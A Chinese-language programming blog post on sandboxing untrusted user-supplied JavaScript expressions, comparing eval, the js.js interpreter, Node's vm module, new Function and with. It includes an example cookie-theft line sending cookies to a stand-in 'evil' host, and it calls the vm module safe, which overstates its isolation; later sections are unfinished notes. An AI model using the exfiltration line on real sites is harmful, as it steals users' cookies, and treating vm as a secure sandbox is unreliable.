草依山的Javascript世界

一个Javascript程序猿的学习纪录剩地,不仅仅是JS,还有Linux、Mac、nodeJs、吃、玩!

如何安全的运行一段不可信JS

首先看一个问题,用户输入一段 JS,运行这段 JS,通过判断返回的 true|false,来决定是否进行接下来的逻辑

用户输入 :

querys.refpid.slice(-1) === 1 && cookies.userId % 100 < 10

其中 queryscookies 是程序运行期间产生的

我们很容易想到了用 eval

(function(){
  const querys = {
    refpid: 'mm_123_1'
  }
  const cookies = {
    userId: 109
  }

  function run(code) {
    return eval(code)
  }

  const js = 'querys.refpid.slice(-1) === "1" && cookies.userId % 100 < 10'

  const rst = run(js)

  console.log(rst) //true
})()

这样我们的功能完成了,但是前面说了 js 的内容是用户输入的,除了这种能正常返回输入, 当然还可以做一些它不应该做的事情

比如可以访问到外层的变量

;(function () {
  const a = 1
  const querys = {
    refpid: 'mm_123_1'
  }
  const cookies = {
    userId: 109
  }

  function run (code) {
    return eval(code)
  }

  const js = 'a'

  const rst = run(js)

  console.log(rst) // 1
})()

接下来安全上的问题,如果 js 里是这样的东西

  • new Image().src='http://evil?c=' + encodeURIComponent(JSON.stringify(root.cookies))
  • process.exit(0)

这些都非常的凶险

如果我们能完全控制 js 的解析和执行,那这个问题就可以解决了,我们来用 js.js,它是一个用 js 写的 js 解释器, 当然它并不是直接用 js 写出来的,它是用 emscriptenSpiderMonkey 翻译的。

它实际的 API 与 SpiderMonkey 一致,很多东西非常底层,我也没有搞定如何让它正常的返回一个 布尔值,它官网的这个例子确实是可以跑起来的

var jsObjs = JSJS.Init();
var rval = JSJS.EvaluateScript(jsObjs.cx, jsObjs.glob, "1 + 1");
var d = JSJS.ValueToNumber(jsObjs.cx, rval);
console.log(d) //2
JSJS.End(jsObjs);

这种实现方式确实可以做到非常精确的控制,但是它不可用,一方面控制起来非常复杂,另一方面它运行的效率并不高,最后,它的体积很大,原始大小 12M,压缩过后 3M,gzip后594KB,并且解压执行时间长。

这种方案也放弃。

如果只考虑 Node 的执行环境呢,有vm模块 可以安全的运行一段 JS

;(function () {
  const a = 1
  const querys = {
    refpid: 'mm_123_1'
  }

  const cookies = {
    userId: 109
  }

  function run (code, context) {
    const vm = require('vm')
    const script = new vm.Script(code)
    const ctx = vm.createContext(context)
    return script.runInContext(ctx)
  }

  const js = 'querys.refpid.slice(-1) === "1" && cookies.userId % 100 < 10'

  const rst = run(js, {
    querys,
    cookies
  })

  console.log(rst) // true
})()

甚至我们可以再设置一些额外的参数,比如让它对我们的数据只读,比如防止无限循环

function run (code, context, options = {timeout: 5000, readonly: false}) {
  const vm = require('vm')
  const script = new vm.Script(code)

  if (options.readonly) {
    context = JSON.parse(JSON.stringify(context))
  }

  const ctx = vm.createContext(context)

  let rst = {
    flag: true,
    data: null
  }

  try {
    rst.data = script.runInContext(ctx, {
      timeout: options.timeout
    })
  } catch (e) {
    rst.flag = false
    rst.e = e
  }

  return rst
}

如果不能用 Node.js, 比如在浏览器环境里,我们来一点点儿的用另一种方案

还记得 eval 作用域是完全没有限制的,这种我们可以用 new Function() 来运行代码,限制它访问的作用域。

;(function () {
  const a = 1
  const querys = {
    refpid: 'mm_123_1'
  }
  const cookies = {
    userId: 109
  }

  const js = 'querys.refpid.slice(-1) === "1" && cookies.userId % 100 < 10'

  const func = new Function('querys', 'cookies', 'return ' + js)

  const rst = func(querys, cookies)
  console.log(rst) // true
})()

如果这里再去使用a就会报错

先不考虑安全性,这样使用肯定是不能复用的,我们改造出一个可以复用的run函数

;(function () {
  const querys = { refpid: 'mm_123_1' }

  const cookies = { userId: 109 }

  function run (code, context) {
    function getRun () {
      const source = `with(context){ ${code} }`
      return new Function('context', source)
    }

    return getRun()(context)
  }

  const js = 'querys.refpid.slice(-1) === "1" && cookies.userId % 100 < 10'

  const rst = run('return ' + js, {
    querys,
    cookies
  })

  console.log(rst) // true
})()

我们想达到的目的是什么? 这段 JS 能访问的数据完全由我们控制

加上 with 进一步限制作用域

上 Proxy 搞定限制的问题

不支持 proxy 的怎么办? 用 iframe + web worker

我们还没有考虑的一个问题是 如果里面有死循环怎么办?

我们要能完全的终止它,或者设置一个超时

不支持 sandbox iframe 的怎么办? 或者 google/caja 

这里的需求并不是运行一个完整的js,而只是运行一个表达式。

有人说,那我可以用 with 呀,这么干:

const a = 1
const root = {
  querys: {
    refpid: 'mm_123_1'
  },
  cookies: {
    userId: 109
  }
}

const js = 'a'

let rst
with(root){
  rst = eval(js)
}

console.log(rst) //1

依然不行,with的原理是什么? 往作用域链最前端塞入 root,并不会阻止向作用它里面的语句往作用域链的上进一步的获取数据

对象的冰结操作呢? https://snyk.io/blog/using-es2015-proxy-for-fun-and-profit/?utm_source=javascriptweekly&utm_medium=email

文章地址: 如何安全的运行一段不可信JS
欢迎关注我的微博与我交流:@草依山
Github上也有一些东西:[Github]
所有文章坚决抵制jb51.net的转载!
标签: javascript 33
2016-12-28

相关文章

2017-03-22 一次算PI的小尝试
2017-02-13 new做了些什么
2016-09-29 [翻译]bash的各种文件载入执行顺序
2016-05-31 phantomjs在linux下截图中文字体问题
2016-04-24 Promise的错误处理

文章修改纪录

加载中...
Copyright © 2013. Create By 草依山, Fork